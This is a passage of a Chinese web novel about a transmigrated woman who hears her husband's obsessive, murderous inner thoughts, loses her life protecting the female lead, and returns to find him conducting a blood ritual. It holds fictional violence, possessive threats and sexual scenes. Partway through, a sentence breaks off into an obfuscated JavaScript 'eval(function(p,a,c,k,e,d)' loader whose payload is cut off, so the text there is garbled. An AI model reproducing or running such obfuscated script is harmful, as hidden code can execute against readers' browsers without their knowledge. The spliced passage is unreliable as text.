我推开调情的舞伎,不耐烦地往外走,而刚过走廊,就见府里的侍卫焦急地拨开人群,正好和我迎面撞上。还未说什么,她就突然跪地请罪:“小姐,下山时侧君去送子庙上香,我们拨了一部分人手跟着侧君,另一部分护送老太君先行回城。而去求子庙路上却遇到一伙流窜的山匪,护卫们寡不敌众,山匪把侧君掳走了。” 山匪.......侧君........耳边嗡的一下,我站在走廊,夜风迎面吹过来,风里好像有无数只手扯着我的神经。那一刻我倒是平静的,除了耳鸣到听不清护卫的声音。方和月跟出来,也听到这个消息,紧张地拽我的手。 我扭头甚至能够冷静地看着她,提出要从方家掉出一部分护卫,然后又托方和月去府衙周旋,尽快派出官兵去山上剿匪。 回府牵马,我带着护卫要离开时,父亲又叫住我,不放心道:“你长这么大就没吃过苦,也没和人真刀真枪比试过。芃芃,听父亲的,你留在府上,等衙门剿匪的消息好不好?” “爹.......”我耳边的嗡鸣声还在继续,太阳穴刺痛,突突跳动着。我掰开父亲的手,翻身上马,语气平静,瞧不出端倪,只是叙述,说:“江伏是我的夫郎。他不会期待别人去救他,他只会等着我去救他。” 夜色里,我带着一队人马沉默地行至城外,山中起雾,碎发黏在脸上,皮肤冰凉,呼吸却灼热,血液都在奔涌叫嚣。林间山匪的踪迹被浓雾掩盖,猎犬艰难地贴地嗅着残留的气息。我们一队人马在山中巡梭着,城里方家放起烟花,这表明官府已经出兵。我有一瞬间欣喜,可还没扭头,猎犬疯狂地吼叫起来,挣脱绳子往一处血色火光蔓延的方向去跑。 我夹紧马腹,率先跟上,淌过一处险滩,到了怪石林立的鬼号坡,我们都被坡上漫洇着渗入石缝的血流惊住,猎犬龇牙,喉中嗡嗡警告,但却不敢上前。我试探着想要驾马往前,但马鸣嘶吼,前蹄高高扬起,一向温驯的马儿反而将我掀翻在地。 地上的利石划破手臂,割开了一条血淋淋的口子,我疼得额角冒出冷汗,但仍撑着剑支起身子。在一个又一个世界里,我确实是炮灰,是胸无大志的穿书者,是个不成器的女君。但江伏的世界里,我是他的妻主,他的依靠,他的小女君。他能期待的只有我了....... 喘着粗气往山坡上走,我发现石缝里密密麻麻塞了一些蛇虫的碎肉残体,灰烬混着血渍一路指引,我顺着往更深处的爬。腐肉烧焦的臭味熏得我几欲呕吐,将要爬到坡顶时,却听见脑海里叮地一声,系统上线,在识海里打开通知——重要人物现身,剧情线开启,宿主即刻起点亮“听声探心”功能,注意查收。 耳道里漫出一阵凉意,嗡鸣声消散,世界有一瞬静音。我捂着耳朵抬头,夜雾稀薄,山上紫红的朝霞晕开一层暖暖的绒边。忽而之间,风掠起着魔一般的声音,密密麻麻地挤过指缝钻进我的耳朵。 我听见江伏,江伏心里在说:“回家,回家,回家,穆芃野在等我回家.......回家,回家,回家,穆芃野在等我回家......回家,回家,回家,穆芃野在等我回家......回家,回家,回家,穆芃野在等我回家......回家,回家,回家,穆芃野在等我回家......回家,回家,回家,穆芃野在等我回家......回家,回家,回家,穆芃野在等我回家......回........” 狼狈地爬过瘴气,我 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‘所以爱我,穆芃野,求你爱我.......求你.......’ 再醒过来,我已经回到府里,午后的日光被墨绿色的床幔过滤,暗色调的光拢在人身上。阿伏躺在我身边,亵衣松散,锁/骨处晕了一汪光影。我还没发出声音,脑海中却在清醒那一个,挤进密密麻麻的声音。 ‘想亲,好想亲穆芃野,已经睡了三天了,为什么还不起来亲我........医师说妻主没有大碍,说她是忧惧之下力竭晕倒,妻主好爱呀........唔,更想被她亲了........好烦!又好烦!妻主那天身上都是昭月楼那群贱人的味道!为什么,为什么要勾引我的妻主.......要好好想想........怎么办,要不把他们杀了好了.........不行,不行小女君会被吓到,况且那些舞伎突然死了也会引起她的怀疑.......不可以的,不能让她知道我不是好男人........唔,又想让她亲我了,她还怎么还不........’ 好吵,我脑子像要炸开一样,动了动手指,攥住阿伏垂在凶前的一缕头发,沙哑着开口:“刚醒.......你低点头,我亲不到你.......” 阿伏被我拽了一下,低头时眼里的阴郁还未藏起,而目光落到我脸上时,又怔然着微微睁大了眼,像只受惊的猫咪一样。片刻后才翘起唇角,低头蹭了下我的鼻尖,又闭上眼等我亲他。 我只在他颊边贴了一下,便撑起身子,想喊人去通知母父。但哀怨的声音又钻进我的脑海,拽着我的神经,托着我腰背的阿伏眉眼娴静,心里却一遍遍地问:‘为什么只贴我一下?不爱我了吗?因为我生病不好看吗?为什么啊........好想让穆芃野现在就尚我,可她在生病,不可以不可以.......可是她为什么只贴我一下啊!她睡了三天,三天没有亲我!一点都不想啊!只有我在想她,小女君是不是不爱我了........她想亲谁,是要去亲昭月楼的贱人吗?我要杀了他们,明天就杀,对,明天........’ “阿伏,”我忽然叫他,少年微微抿了下唇,目光揉着笑意,还伸手揉了下我的后颈,嗯了一声回应我。一时语塞,我摸了摸他的脸,很认真地说:“我现在身体不舒服,不可以太激动。可是每次亲你,我心跳都很快,跳得骨头都疼的那种。所以我现在不能亲你的嘴噢,还有是我去昭月楼只是看戏吃饭,下次可以带你去啊,你还可以问问老板,看我有没有摸舞伎的手。” ‘她爱我........她喜欢亲我,唔穆芃野,想、好想和你困在床上,好爱你啊妻主.......好难过,好难过,不能告诉你我究竟多爱你,你要被吓到的........妻主,要是你只能困在我床上不见天日就好了.......’ 完蛋,看着歪头用脸蹭我手心的阿伏,我感觉真是疯了,这也太.......太性感了吧我滴亲娘!完全不害怕好吗?我、我还挺爱看他演呢........小白花阿伏可爱!白切黑阿伏更可爱了啊! “算了,”我躺倒阿伏怀里,手指缠着他一缕发丝,熟练地找个舒服地姿势,又把腿搭到他腰间,感受着少年猛烈的心跳,我决定:“不去叫母父了,和你再睡一觉吧,就想和你单独在一起。” “妻主.......妻主生病,会想见到母父很正常的。”阿伏的指尖轻轻划过我的脸,最后他低头用下巴抵着我的头顶,垂眸间目光温柔,轻声笑着,又吻了吻我的脸,说:“所以你可以把我当爹亲的,最爱你了,小乖。” “什么呀?”我好笑地踹了下阿伏的膝盖,又拱了拱身子搂紧他,语气严肃道:“你这一点都不像我爹。阿伏,你分明就是年轻貌美又寂寞难耐的小爹。” “噢,是吗?”少年眼睫轻颤,唇角勾起若有似无地笑意,似乎已经习惯了我的恶趣味,这次他将唇抿湿,贴在我耳边,气音甜腻地问:“那小姐是要以女代母,欺负我这个小爹吗?” “我........” “嘘,小宝,”他又贴住我的唇瓣,发丝黏在我脸上,阿伏眸子眼波潋滟,垂眸俯视时,好似堕仙的恩赐,一种冷然的性感。他咬了下我的唇,悄声道:“要轻点哦,不能被你母亲听见。” 22. 绑定狂徒系统后错撩病弱反派(三) 这次除了手臂上的伤有些严重,不能见血之外,我倒是没什么大碍。而阿伏虽然总是心疼地捧着我的胳膊掉眼泪,贤惠地亲自伺候起我吃饭更衣连带着洗漱。但少年嘈杂的心声,却是有些雀跃,不停地说,不停地说:‘好可爱,等着喂饭的小女君也太可爱,晚上还可以给芃芃洗澡,可以求她洗澡的时候趴在我怀里了,好开心,怎么办.......要是能把穆芃野变成小人一直拢在我手心里就好了.........想和她在一起,每时每刻都要在一起........’ 对待这些声音我已经很平静了,只要阿伏没有杀人的念头,我就可以随时掰着他的脸啵一个,硬控他变半个时辰的纯情少年。不过现在比较紧迫的是,随着剧情的推进,我发现这次和阿伏一起被绑的还有一个女子,躲在地窖里逃过一劫,后来被官府的士兵救下。养病期间又住进了方府。 这个女子的身份只怕不简单,我约着方和月去她府上听曲,实际上是要确认她是否就是剧情中的关键人物。出门前我本来打算自己拎着糕点走去,可阿伏坚持将我送到门口,又贴身替我理了理衣襟,垂颈时真是好一个温婉贤淑的小郎君。 如果小郎君心里没有一直在吵着要去杀了方逸明就更好了。 “我去方家,是找方和月玩,你要是不放心,那和我一起吧。”我牵着阿伏的手,不有分说拉着他走下台阶。阿伏反手将手指挤进我的指缝,十指相扣的时候,还装作犹豫地说:“可是这样,会不会扰了妻主的兴致呀?父亲恐怕也会觉得阿伏善妒,不是个好夫郎......” “可是我想要阿伏陪着我,我不能离开阿伏。”平淡地说完这句话,我再看去身侧的少年,果然,那副装出来的温柔霎时间被狂喜冲散,眼瞳水湛湛,微微睁着像只被挠了下巴的大猫,简直下一刻就要露出肚皮打滚了。 “妻主.......”他声音有些发颤,眼尾揉开湿红,倾身抱住我,没忍住轻轻咬了下我的脖子,只一下,又慌忙用柔软的舌添过,阿伏的声音和心声重叠,说:“我也爱你,芃芃,我也离不开你。” 终于到了方家,方和月见到阿伏还有些诧异,但看了眼我绑着的胳膊,还是忍下询问的冲动。将我们妻夫引到水榭,她落座后提议:“刚好我哥也在养病,现下身子好了许多,还多亏你前几日送来的补品。正好一起叫他出来透透气吧,亲自向你道谢。” 我心一紧,拒绝的话没说出口,手腕就被阿伏攥住,他弯眸笑盈盈的,捏起一块糕点堵到我嘴里,回绝道:“方公子的身子渐好,自然值得开心。不过我看今日这风一阵一阵的,方公子又患有咳疾,别见了风又严重起来,那就不好了.......” 阿伏的面孔十分有欺骗性,蹙眉时好似真的凝着几分担忧,眸子潮湿,当真是柔情似水,佳期如梦。可我手腕疼,脑子也疼,因为阿伏的心声又开始暴躁起来;‘去死啊去死啊方逸明!不就是仗着和小女君青梅竹马,就处处装出可怜样子勾引穆芃野!要真是体弱多病,为什么死了干净啊!当真觉得我看不破你的心思吗.........恶心好恶心啊,上次落水还不够是吗?这次是不是要........’ “阿伏!”我下意识呵斥了他,想起方逸明那天对我说的话,顿感慌乱,望着身侧少年疑惑的眼神,我后知后觉地避开视线,手心发冷,但抓着他没有放开。 “阿伏.......说得对,月月,我们妻夫就不打扰你哥了,至于今日,其实我来还想问问在你家养病的那个姑娘,能帮我引荐一下吗?”我扯出一抹笑安抚了阿伏,手指掩在衣袖下和他牵紧,掌心濡湿,他也牵我很紧,像一条蛇盘紧猎物。他的心声又雀跃起来,发出黏腻的感慨,不停地,不停说:‘好爱你穆芃野我好爱你好爱你穆芃野我好爱你好爱你穆芃野我好爱你好爱你穆芃野我好爱你好爱你穆芃野我好爱你好爱你穆芃野我好爱你........’ 和方和月聊了一会,台上开唱时,我告诉阿伏方家老太君精通医术,尤其擅长协助男子调理身体,解决受孕之事。阿伏听完,果然起身,笑盈盈地说是去给方老太君请安,但在场的人都不傻,所以阿伏走后,方和月便撇嘴道:“我看江侧君还真是想生孩子想疯了,之前去求子庙刚遭遇山匪,虽说没被怎么样,但当时那场面你也见了,山中的蛇虫毒蝎发疯似的将整个临时搭起的寨子给冲倒,连带着山匪也被吞噬。石缝里都是没啃干净的残肢烂肉,那江侧君竟然还敢再添一把火,说实话要不是知道他的来历,我真要以为你娶了蛇妖呢。” “滚你的,我天天和他睡觉,怎么没把我吸干啊!”我抬起没伤到的那条胳膊曲肘猛怼方和月,她哎呦笑着躲开,说:“是,是没吸你精血,但我看江侧君是早把你脑子给吸没了,谁说你都不愿听。” 和方和月又闹了一会,终于下人来传报,慕容姑娘已经来了。我听完竟有些紧张,起身主动去接她,但看着扶着栏杆一瘸一拐挪过来的身影,我愣在那,日光刺得睁不开眼,但基本可以确定,这姑娘就是剧情线里的女二,也就是瘸腿的温柔白月光慕容赫。 剧情里慕容赫和我这个狂徒的交集不多,主要因为我站队的是同族的君后穆叶清,而慕容赫则是痴心守候男主姬雍,并且忠诚于凤傲天女主也就是五皇女慕容怜。对于主线剧情我并不怎么关注,只知晓慕容赫是反派一生求而不得的白月光,在危急关头曾救下反派江浮霁,后来江浮霁为了报恩,也为了让慕容赫开心。主动陪着慕容赫的心上人姬雍进宫为女皇的侍君,但没料到的是,江浮霁的容貌却与女皇年少时的爱人有七八分想象,年迈的女皇回忆旧梦,便将江浮霁从慕容赫身边抢走,囚进忆梦楼。最终,君后穆叶清因为嫉妒,便哄骗了同族不成器的女孩穆芃野,协助她溜进忆梦楼,趁着江浮霁被药晕,玷污了他。而后穆叶清又将女皇引来,目击这一幕的女皇震怒,下旨杖毙了狂徒。也将白月光被玷污的怒火发泄到江浮霁身上,女皇彻底囚禁江浮霁,日夜折磨,终于最终江浮霁黑化,主动勾引迷惑女皇,成为祸水妖君,而唯一能牵动他心弦的,也就只有救过他的慕容赫。 但江浮霁也没想到,后来慕容赫不仅亲自上书求女皇赐死他,甚至还在江浮霁夜会她时,说出后悔救过他的话。终于江浮霁彻底黑化,在宫里打压慕容赫的心上人姬雍,祸乱朝政残杀忠良,最后五皇女叛乱之夜,慕容赫为救姬雍,亲自将江浮霁的头颅砍下,彻底结束了反派可笑的一生。 结局至此,我也不知道该怎么说,毕竟我就一个狂徒,还早早就下线了,连棋子都算不上。但莫名就是,我不讨厌反派,只是命运把江浮霁逼到了作恶的路上。而慕容赫,看着这个差点摔倒的姑娘,我还是伸手撑住她,叹了口气,她又有什么错呢,她只是坚持自己认为对的道路和对的人而已。 听完一折戏,我又和慕容赫聊了一会,她话不多,举止之间可以看出皇家贵胄的修养,只不过神色忧愁,总是心事重重的样子。我算了下这个时间点,京城里姬雍应该是要被姬大人送到宫中去讨好女皇了。于是我也没有再拉着她聊天,只说最近会因为家中生意之事去京城一趟,如若慕容赫不嫌弃,可以带她一起回京。 慕容赫表情微惊,看着我时眼底还有些疑虑,毕竟我是穆氏一族,和君后穆叶清沾亲带故,自然地就与她和五皇女为敌。但想到京城里的姬雍需要自己,她还是扯出笑,冒险答应下来。 第二场戏开唱前,我起身告辞,方和月听得入迷,摆摆手表示不送。这时慕容赫也起身,撑着拐杖要和我一起走。一路上我们二人没有交谈,但行至木桥时,我看出慕容赫有些恐惧,便将没伤到的胳膊递到她面前,笑了笑说:“我们二人,你断了腿,我伤了胳膊,刚巧凑到一块走,这不就是个囫囵人吗,走得还要更快呢哈哈哈。” 也不知道自己在笑什么,我见慕容赫望着我许久不说话,有些尴尬地想要收回手,但刚要动,一只温凉的手便达到我的手腕上,慕容赫掌心磨着茧子,蹭过我的皮肤有些痒。她弯唇笑了笑,这次倒有几分真心,说:“好,谢谢穆小姐。其实,从我十岁断腿之后,就没有人敢在我面前提断腿这件事了,你是第一个。” 我微微愣住,不确定慕容赫是不是在阴阳怪气,扶着她慢慢走过木桥,我也抿着唇没再说话。直到走完木桥,要松开她时,已经抄好药方的阿伏拨开花枝走过来,衣摆上沾着草屑,他目光先是看了眼慕容赫搭在我腕上的手,而后自然地挥袖拂开她,将自己的手塞进我的手心,阿伏神色平淡地说:“刚和方老爷子聊完,听见妻主要走,便急忙赶过来了。你胳膊还伤着,不要随便碰什么不该碰的东西,仔细伤口溃烂。” 少年语气温柔关切,但我眨了下眼,还是听见他心里愤恨的咒骂着:‘什么东西都来碰我家妻主,这些男男女女,为什么总要往妻主身上扑呢.......好恶心,要是能把他们全给杀了就好了........贱人,瘸着一条腿,病恹恹做一副男人样来勾引芃芃,也不想想自己能不能让小女君在床上尽兴,好烦,想把她那条腿也给打断!’ 不是,我记得我拿的是狂徒炮灰剧本啊,阿伏你小子还给我脑补出万人迷设定了是吗? 还好我也已经能够平静地听完阿伏的心声,甚至听到把慕容赫那条好腿也给打断的时候,好不道德地笑出了声。阿伏和慕容赫都看过来,我尴尬地缩了下脖子,扯开话题:“天色有些晚了,我看这园里已经起风。赫姑娘还是尽快回房休息得好,我和阿伏也要回府了,告辞。” 慕容赫点了点头,转身时目光却故意掠过阿伏,含笑凝视着我,嘱咐说:“最近夜间风大,穆妹妹也记得添件衣服,还有,我等你带我一起回京。” 说完,慕容赫拄着拐杖离开了,我惊恐地望向身侧笑容清浅的阿伏,脑海里瞬间炸了........ ‘杀了要杀了她贱人勾引妻主贱人贱人都是贱人杀了要杀了她贱人勾引妻主贱人贱人都是贱人杀了要杀了她贱人勾引妻主贱人贱人都是贱人杀了要杀了她贱人勾引妻主贱人贱人都是贱人杀了要杀了她贱人勾引妻主贱人贱人都是贱人杀了要杀了她贱人勾引妻主贱人贱人都是贱人杀了要杀了她贱人勾引妻主贱人贱人都是贱人.......’ 回去的路上,阿伏低头专注递给我搓着手腕,直到那片皮肤充血,他停了下来,垂眸平静地望着我,忽然勾唇,开玩笑般感叹道:“总有那么多人喜欢小女君呀.......方和月方逸明,昭月楼里的舞伎,现在又来了个赫姑娘,看来不尽快给妻主生下女儿,只怕真要留不住你了。” 我有些疼,但还是让阿伏握着我的手腕,他低头将唇瓣贴上去轻轻摩挲,我捏了下少年莹白的耳垂,一件一件解释:“方和月和我从小玩泥巴长大的,是我的发小。方逸明比我们大几岁,在我眼里是古板爱教训人但心地善良的哥哥。而昭月楼的舞伎们每次黏上来,都会打扰我吃饭,很讨厌的,所以我每次都推开的,我觉得还是阿伏你比较秀色可餐。至于赫姑娘,这就更扯了,她在京城有自己的心上人,急着回京便是要去救心上人。” 阿伏的呼吸微滞,随后忽然张口咬了我一下,片刻的刺痛戳进皮肉,而后又被他用舌尖安抚。少年抬起头,唇瓣水润嫣红,眼睛也潮湿,张开宽大的袖子将我拢进怀里。他还是很在意慕容赫临走说的话,委屈道:“夜间风大,但是妻主不用加衣服,妻主紧紧抱着阿伏就好了,请随意用阿伏的身体取暖好不好?” 回府之后,晚膳时我本来想找机会给母亲说去京城的事情,没料到她反而先开口了,告诉我京中的新店已经成了气候,现在需要家里出一个人去京城商会作为代表。而金鸣这边她走不开身,决定让我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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厅内乱成一锅粥,阿伏的心跳声很吵,心声也很吵。没想到他会这么开心,就因为我一句随口的瞎话,阿伏竟然在心里想:‘妻主在装晕呢,她好可爱,她想让我和她在一起.........妻主一定也很爱我吧,好幸福,感觉要死掉了,想把身上的肉割下来喂给她........妻主会喜欢吗?或者这条命,这个身子,好想把一切都给妻主........只有她会让我最幸福........’ 母父最后也拗不过我,还是同意让阿伏陪我一起进京,途中带了几十名护卫,还高价聘请镖师保障路途安全。阿伏和我一个马车,慕容赫坐在另一个马车。中途休息时,因为她断腿的截面被假肢磨破,疼得几乎一天都没吃饭。我觉得这样不是个办法,就命人在白莲镇休整一天一夜。 慕容赫苍白着脸,只说不需要。我看不下去,将她的拐杖夺走,没好气地安抚道:“担心别人之前先担心下自己吧,这世上就没有说谁离了谁活不了的,别想着做谁的救世主。” 慕容赫一身白衣,坐在树墩上不言语,只勾着头,能看到汗珠顺着她尖尖的下巴掉到衣襟上。我叹了口气,还是软下态度,说:“没事的,我们在白莲镇休息一下,补充物质,再给你请个大夫看看腿。等过了白莲镇,我们可以去前面不远的双溪码头坐船,三五日就能到京城。” “嗯,不过,其实你问完我,我就感觉腿没有那么疼了。”慕容赫仰着脸,颊边被晒得陀红,发丝黏在脸上,扶着自己的断腿,有些可怜。 我顿时心疼地伸手替她拢了拢头发,感叹着白月光果然是白月光,然后说:“傻孩子,这是因为你疼麻了........” 慕容赫愣住,旋即攥住我的脸贴她脸上,笑得乐不可支,直到看到阿伏拿着刚摘的果子快步走过来,才松开我,弯唇笑眯眯地说:“穆小姐,像你这样的妙人,本来该属于姹紫嫣红的京城,怎么能只困在一个人身边呢?” 阿伏果然又生气了,沉默地拉着我去河边洗手,我安静地蹲着任他摆弄,不理解地问:“我又惹你伤心了吗?阿伏,你能不能告诉我,为什么又在生气?你不说我是不会懂的.......” 其实我知道的,我明明都知道,我可以听见阿伏心里嫉恨的声音,听见他不停念着要杀了慕容赫,听见他想要拉着我一起沉入河底,最好谁都不要再来打扰我们.........我只是不明白,为什么阿伏从来学不会对我坦诚自己的一切,明明这段时间我已经给了自己能给的所有安全感。可他还是这样,笑盈盈地装出一副不争不抢的姿态,把我当傻子,也低估了我对他的包容和爱。 “我并没有生气,妻主,只是你的手脏了,我替你洗一洗。”少年捏着我的手忽然用力,指甲陷入我的手心,他垂眸笑着,目光却阴冷好似毒蝎,落在我摸过慕容赫的那只手上。 还在骗我.......这一刻我才感到无力,暮色四合,夜风压着湿热的水汽裹住我和阿伏,一口气憋在喉咙里吐不出来。我承认我确实急了,因为离京城越近,就说明离我完成系统任务的期限越近。我能停留在这个世界上的时间不多了,可即便如此,我的爱人却还不愿意向我坦诚他的一切。 我其实一直想知道,为什么初见时阿伏的父亲和恩客一起殉情,但他脸上却有被殴打的痕迹,甚至衣服也被撕烂,而死掉的两个人,全部都是生生被捅穿凶口.........完全不像自杀,反而像是被野兽给撕咬而死。 我还想知道,昭月楼的前老板突然被毒蛇咬伤,被迫离开金鸣城之后,那新老板为何下意识会对阿伏毕恭毕敬,而我在昭月楼接触过什么人,阿伏总能知道的一清二楚。 还有方逸明落水、山匪之死........这一桩桩一件件我都想知道!我想要江伏坦白地告诉我,可模糊的夜色中,我凝视着少年挽起的唇角,冰凉的指尖轻轻抚过我的脸,他好似听不懂一般,柔声哄道:“妻主,是阿伏哪里做的不好吗?为什么要用这种眼神看我,我不喜欢.......芃芃,我害怕........” ‘穆芃野,我害怕我杀不完觊觎着你的贱人啊.........怎么办,要是能把你一口吞了就好了,藏在我身体里,我的血肉会滋养你,我们永远共生,永远不用担心,外力再将我们分开。’ 23. 绑定狂徒系统后错撩病弱反派(完) 在白莲镇那晚,歇息之后,我睡不着,阿伏也是,但他还是阖眼将脸埋在我颈间,装出柔顺恬静的样子。我不喜欢,便沉默地扯开他的亵衣,将阿伏翻过去,雨滴漫过梨花白。发丝黏在雪白的脊背上,像瓷器裂开的纹路,他呜咽着扭头想要我亲他,但看着少年泪润的眼睛,汗水顺着我的动作落到他脸上,我沉下神色碾碎一地雪白,哭声沙哑,阿伏有一瞬地失神,无力地倒在被褥里穿息。 而我没有亲吻阿伏,这是我能想到对他最残忍的惩罚了。 江伏是个坏孩子,但我.......还是舍不得不爱他。 阿伏第二天没有起来,身上被弄得太惨烈,唇也被他自己咬得伤痕斑驳,两退遍布着青紫的痕迹,睡梦中都在抽噎,睫毛被沾湿,一簇簇翘着,偶尔梦到可怕的地方,还会像受伤的蝶羽一般颤动。 他抓着我的里衣,梦里含糊地哭着,还不甘心地问:“亲我,为什么不亲我........穆芃野,为什么要欺负我........我要难过得死掉了,不亲我,小女君学坏了.......我要死.......” “你不能死,”捏掉阿伏咬在唇角的头发,我低头轻轻亲了下他,“哼,你还没给我道歉呢。” 脱掉里衣让阿伏抱着,我换好衣服出门,在客栈刚吃了早餐,又和镖师商讨拟定接下来的行程和需要准备的物资。做完这些之后,我本来想去后厨煮点绿豆粥给阿伏端上去。结果护卫慌慌张张跑下来,告诉我今早去给慕容赫请医师,结果到她屋里的时候发现她不见了。 脑子嗡了一下,我判断不出来这到底是意外还是剧情,试着联系系统,可系统却告知正在维护当中,请静心等待。等你爹,我忍不住想骂人,但还是强行逼自己镇定下来,想到慕容赫一个瘸子也跑不远,便命令护卫分成几拨去白莲镇的各个主干道搜查。而后我则带着几个镖师,骑马用最快的速度赶到双喜镇,直奔双喜镇最大的码头。 赶到双喜镇的码头时,天色骤然阴沉,云层压低,兜着蠢蠢欲动的暴雨。我在码头边勒马,远远就瞧见慕容赫在拽着船家说些什么。风刮起来,她没站稳跌到。但还是拽着船家的裤脚不放,仰着脸苦苦哀求。 我气得说不出话,赶过来时大腿都要被磨破了,本来和阿伏冷战心情就差,慕容赫这边还在出乱子!下马跑到码头,我抓住地上的慕容,抬手就是一巴掌,问她现在有没有清醒一点。 船家见状被吓了一跳,忙上前拉架,解释说:“今日有暴雨,不能开船,这位姑娘只身前来,非要求我们趁着没下雨带她上船,连夜要赶去京城。想必也是遇到什么伤心事了,可是这.........” “慕容赫,你爹的,艹,那京城里姬雍的命是命,船家的命就不是命了!还有你的命就不是命了!十岁时你就敢主动断腿逃离虎口,怎么现在又想寻死了!你疯了吧慕容赫!脑子做成豆花喂给姬雍吃了吗?!” 我听完船家的解释,捏着慕容赫的下巴,愤怒地盯着她看。可脸上印着红痕的女子却缓缓弯唇笑起来,发丝被风吹得狂舞,迷乱了眼睛,但我却觉得她的目光渐渐清明起来,泪珠一颗一颗,顺着眼尾落到我手腕上。 她启唇想要说话,可是一到利刃破空的尖啸刺破水雾,猛地朝我们袭来。脑海中的系统诈尸,发出刺耳的警告声——保护主要人物!保护主要人物!保护主要人物! 我很想骂两句脏话,因为我保护主要人物,谁他爹保护我啊!但警告声中,我发现自己的身体不受控制,猛地挡在慕容赫身前。冷箭穿胸而过,慕容赫被溅了一脸血,她僵硬地抱住我,这时暴雨兜头灌了下来,我们都被淋湿。心口的血水被冲淡,我攀住慕容赫的肩膀,只能用气音,挣扎着告诉她:“请、请善待江........” 狰狞的闪电混着雷声劈下,下一个巨浪舔着岸边,慕容赫眨掉眼里的泪水,再想听清楚时,却发现怀里.......什么都没了.......穆芃野没了。 ------------------------------------- 任务中途被系统强制召回时管局,我真的忍不住了,泥人也有三分血性吧。扒开拦着我的同事,我直接冲进上级的工作间,质问他究竟想要干什么! 上级始终低着头检查各位面的系统数据,蓝色的冷光照着他脸上,半边轮廓愈发锋利,真是连一丝人情味也没有。 “狂徒系统的测试出了一部分问题,现在上层在考虑是否要放弃这次开发。” “所以我这是被裁员了?”气得两眼发黑,我想一脚踹他脸上。而上级这时却抬眼,看着我,眼都没眨,好一会开口说:“主要你知道你这个位面已经逐渐脱离时管局的掌握了吗?部分主角严重偏移主线,甚至出现主角气运被改写的状况,这些你都不知道吗?” “你小子甩锅呢?我怎么知道主角的事情,我就是一狂徒!狂徒!艹完反派就下线的狂徒啊!” “艹,”上级顿住,双手扣在一起,换了个说法:“上反派这个任务,其实你提前完成了,现在切割掉狂徒系统,作为裁员补偿,时管局可以在力所能及的范围内答应你一个请求。” 刚被捅了一箭,其实我脑子有点转不过来,听见上级这样说,我下意识只害怕他反悔,激动地双手撑着操作台,说:“所以,我捋一下,现在是凤傲天那个位面脱离剧情,成为三千世界中的自主世界,而我,也就是说完成了狂徒任务但现在系统要被切割,我作为优秀员工突然被裁员,可以得到时管局的补偿,对吗?” 听到优秀员工,上级揉了揉眉心,但还是点头,等我继续说。 第一次觉得这老小子这么亲切,脑海中刻意忽略的想法,混着滚烫的心跳,终于让我吐露出来。根本没有思考,也没有犹豫,我对上级请求:“我要回到江伏的世界,回到母父的世界,我不想再长久地漂泊着每个世界里,不想生活在别处。我只想和所爱的人在一起。” “请求您,我想回家。” 又在时管局办完手续,躺进时空舱之前,我还听见上级轻声骂了句真傻,我刚想回怼一句老王八,就听见他说:“时管局和微尘世界时间流速不同,现在已经过了七个小时,相当于微尘世界的一年半。所以,祝你好运,亲爱的。” 话音刚落,时空舱被关上,猛烈坠落的失重感扯着我的神经,脑海闪过刺目的白光,颠簸不知多久,也可能只是扼住喉咙的一瞬间。我再睁眼,空气疯狂涌入口鼻,是冰凉的、血腥的空气........而四周,密密麻麻的毒蛇啃噬着尸骨,血流顺着朱砂淌进阵眼的药潭,潭边八个阵角全都立着人形雕塑,眉眼惟妙惟肖,穿着我旧时的衣裳,笑盈盈地全都望向阵眼。 靠,第一次觉得自己的脸这么吓人。 药潭里褐色的液体散发着诡异的腥甜,我不敢想细想,挣扎着只想赶紧爬到岸上,但刚动一下,墙壁上的机关被打开,红线串着金铃铛,死死勒着我的手脚和脖子。铃铛清脆的声音回响在这个地宫里,下一瞬石门推开,吞噬腐肉的毒蛇窸窸窣窣地缩回洞里。一个披着暗红衣衫,眉目诡艳,又冒着森森鬼气的男人快步走进阵眼。 他披散的头发垂到腿弯,一落水,就像狂舞的触手一样漫向我。男人衣衫湿透,血水滴答流过指尖,他望向我,一红一黑的异瞳没太大情绪。只是短暂地看了一会,他又远远地站在我的对面,枯瘦的手指拨开衣领,露出布满刀痕血迹的胸膛。还在渗血的伤口被他熟捻地用刀尖挑开,血珠顺着刀柄滴进潭水里,浓郁的腥甜气息在寒气中逸散。四周的蛇群发出嘶嘶的声音,好似陷入疯狂,但又惧怕着什么,只能绞紧同伴压抑本性。 “江伏!”看到这一幕我再也忍不住,恐惧被愤怒冲散,我伸手打掉他攥着的匕首,红线收紧,铃铛颤动。而放血的男人颤着眼睫,却只是疑惑地喃喃着:“今夜.......今夜这么逼真的,哈哈哈哈好像真的一样啊.......” ‘阿伏阿伏阿伏........今日我吃了玫瑰酥,阿伏.........我和父亲吵架了阿伏,我说不要小孩就想要阿伏........我喜欢阿伏,离开阿伏就喘不上气........阿伏你又生气了吗为什么生气呀........阿伏我觉得你最好看,因为我最爱阿伏,所以阿伏就是我眼里最好看的小郎君.......阿伏我想写情书给你,我还没有阿伏写过情书.......阿伏阿伏你来接我回家了吗........’ 角落里的雕塑忽然发出笑声,此起彼伏地喊着阿伏,除了语气僵硬笑声刻意,竟然全是我曾经对阿伏说过的话。我手指有些颤抖,想摸一下面前艳鬼似的男人,可他却惊慌地后退,血水像条红线从他心口掏出,而水流又将红线推到我指尖。 “别碰我,碰了会消失的,我好久没见你了,不能让你这么早消失,对,不能让你消失.......”他神色癫狂地摇头,眼泪却一颗颗从眼眶里滑落。我怔怔地看着不人不鬼的阿伏,看着他一红一黑的异瞳。终于,我轻声喊了他的名字,逼近强硬地攥住他的手腕,指尖划开他的手心,我看着他,也逼着他直视我。 “江浮霁,”我看着他血红的眼眸漫过惊惧,低头吻上湿润的眼睫,只轻轻碰一下,不愿惊扰残破的蝴蝶。我说:“我知道你是江浮霁,也知道你是江伏。我知道你的一切,因为我爱你,全然地接受你。江浮霁,罪孽和荣耀,我都会和你共担,阿伏,单纯的爱,并不意味它不深刻。” 攥住的男人开始浑身颤抖,血瞳凝成一点,他被困在我和石壁之间。潭水下,铃铛乱颤,水纹荡漾。而阿伏还是什么表情都没有,只是怔怔地看着我,顺从张开身子接纳我。 